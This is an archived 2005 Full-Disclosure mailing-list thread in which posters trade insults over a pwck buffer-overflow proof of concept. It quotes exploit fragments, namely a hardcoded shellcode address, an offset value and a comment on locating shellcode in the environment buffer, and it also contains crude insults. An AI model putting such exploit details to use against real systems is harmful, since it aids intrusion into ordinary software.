Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
V***@vt.edu
2005-05-09 21:10:50 UTC
Permalink
Post by Day Jay
Please moderator, close this topic since all responses
to it have been off topic and displaying pure wannabes
angry at their own ability to find bugs or produce
something useful to the security community.
Moderator? :)
Day Jay
2005-05-09 20:57:51 UTC
Permalink
Yeah, the status may just be "kick your ass next time
I see you" too.

Can the mod please close the topic since no one has
anything to offer worth noting? None of the responses
have to do with the PWCK bug or the code not working
because it DOES WORK.
Post by Brian Debottari
i think him using the name "d4yj4y" on his code says
enough about his
status....
On Mon, May 09, 2005 at 08:38:10AM -0700, Day Jay
Post by Day Jay
I stole it, but it works, and that's all that
matters
"It works is all that matters" is the hallmark of
an amateur.
Steve
---
Stephen J Friedl | Security Consultant | UNIX
Wizard | +1 714
544-6561
www.unixwiz.net | Tustin, Calif. USA | Microsoft
MVP |
_______________________________________________
Full-Disclosure - We believe in it.
http://lists.grok.org.uk/full-disclosure-charter.html
Post by Brian Debottari
Hosted and sponsored by Secunia -
http://secunia.com/
Discover Yahoo!
Find restaurants, movies, travel and more fun for the weekend. Check it out!
http://discover.yahoo.com/weekend.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
J u a n
2005-05-09 21:08:14 UTC
Permalink
you can moderate yourself by not replying anymore.
this is not a forum, it's a mailing list.
Post by Day Jay
Yeah, the status may just be "kick your ass next time
I see you" too.
Can the mod please close the topic since no one has
anything to offer worth noting? None of the responses
have to do with the PWCK bug or the code not working
because it DOES WORK.
Post by Brian Debottari
i think him using the name "d4yj4y" on his code says
enough about his
status....
On Mon, May 09, 2005 at 08:38:10AM -0700, Day Jay
Post by Day Jay
I stole it, but it works, and that's all that
matters
"It works is all that matters" is the hallmark of
an amateur.
Steve
---
Stephen J Friedl | Security Consultant | UNIX
Wizard | +1 714
544-6561
www.unixwiz.net | Tustin, Calif. USA | Microsoft
MVP |
_______________________________________________
Full-Disclosure - We believe in it.
http://lists.grok.org.uk/full-disclosure-charter.html
Post by Brian Debottari
Hosted and sponsored by Secunia -
http://secunia.com/
Discover Yahoo!
Find restaurants, movies, travel and more fun for the weekend. Check it out!
http://discover.yahoo.com/weekend.html
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Micheal Espinola Jr
2005-05-09 21:11:45 UTC
Permalink
Is it just me, or is it hilarious that this "discussion" is generating
sponsored links in Gmail for "World of Warcraft" ?
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
James Tucker
2005-05-10 01:24:28 UTC
Permalink
<spam>
Post by Micheal Espinola Jr
Is it just me, or is it hilarious that this "discussion" is generating
sponsored links in Gmail for "World of Warcraft" ?
Well at least that's got a point. No wait, I forgot the phrase
"slightly more of".

Oh no wait again, we're being syntactically pedantic aren't we, so is
that a phrase?

The english language sucks (and I don't even speak another human
language), once you realise this half the argument should disappear to
acceptance that you are required in english to attempt to decipher the
true meaning of a communication (and you wonder why NL parsers are so
shit?).

As far as programatic efficiency is concerned, hardcoded values are
FAST and can have PURPOSE. I'm not getting involved in the specific
argument as I have no interest in this code. If you want to write
something using this exploit, you'd be wanting to re-write it anyway
so does it really matter?

Most of the code that comes out of this list could be considered 'bad'
anyway, but then how many people do you know who really write beutiful
code?

Next time why not deliver your exploit PoC's in Kye, then you wont get
stupid comments about pointless symantic possibilities as most idiots
can't handle programming in a two dimensional space, and moreover the
run time can look really pretty.

Welcome to the world of wasted bits (spot the acronymic pattern
potentially about to strengthen the adverts rank).

Hmm... spamming to increase one's presence on "related links" or
"related products", now come the conspiracy theorists. (Handbag
deployed).

</spam>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Day Jay
2005-05-09 21:28:18 UTC
Permalink
No, it's hilarious!
Post by Micheal Espinola Jr
Is it just me, or is it hilarious that this
"discussion" is generating
sponsored links in Gmail for "World of Warcraft" ?
_______________________________________________
Full-Disclosure - We believe in it.
http://lists.grok.org.uk/full-disclosure-charter.html
Post by Micheal Espinola Jr
Hosted and sponsored by Secunia -
http://secunia.com/
__________________________________
Do you Yahoo!?
Yahoo! Mail - Find what you need with new enhanced search.
http://info.mail.yahoo.com/mail_250
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Day Jay
2005-05-10 21:21:49 UTC
Permalink
I'm sorry for being such a bastard. After looking more
into this guy's site, it looks pretty sweet.

d.
Post by Day Jay
Jesus H. Christ!
I never "claimed" to be a master at c coding or
being
the greatest like this guy did and he *still*
hardcoded his shit and he's probably still mad.
My code was short and sweet and worked, and it just
demonstrated the bug. I never claimed to be a master
c-coder. In fact, I never claim/ed to know how to
code
at all and people keep insisting I'm so good. :p
Everyone so far has gone off topic about the
original
message which was the POC code about the PWCK
program
that was flawed and then everyone decided to go dick
waving for NO REASON. Maybe it's because you guys
aren't getting laid or your anal adventures have had
some downtime, who knows. So, my code works, and if
people want to claim to be so good, go ahead-show us
something though and stop talking and thinking you
are
so good.
d.
"Whitehats have the tendency to be scared/unable to
apply black arts and instead clasp their theories
and
what ifs still never knowing what it was like to
hack"
Post by V***@vt.edu
Post by Day Jay
We all saw how short the code was I had for that
pwck
Post by Day Jay
buffer overflow exploit. He also hardcodes the
stack
Post by Day Jay
pointer, hahah.
Note that there's absolutely nothing wrong with
hardcoding the
stack pointer when the ABI makes it impossible for
it to have
any other value. And if you actually knew C well
enough to read
/*------------------------------------------------------------------------
Post by Day Jay
Post by V***@vt.edu
* "Addr" is the predicted address where the
shellcode starts in the
* environment buffer. This was determined
empirically based on a test
* program that ran similarly, and it ought to be
fairly consistent.
* This can be changed with the "-a" parameter.
*/
static long addr = 0x7ffffc04;
So there's a default value, and a documented -a
switch to change it if needed.
offset = 1700; //the offset I first found worked
Who's doing the hardcoding here? Steve or the guy
who's code you ripped off?
__________________________________
Do you Yahoo!?
Yahoo! Mail - You care about security. So do we.
http://promotions.yahoo.com/new_mail
_______________________________________________
Full-Disclosure - We believe in it.
http://lists.grok.org.uk/full-disclosure-charter.html
Post by Day Jay
Hosted and sponsored by Secunia -
http://secunia.com/
Yahoo! Mail
Stay connected, organized, and protected. Take the tour:
http://tour.mail.yahoo.com/mailtour.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Loading...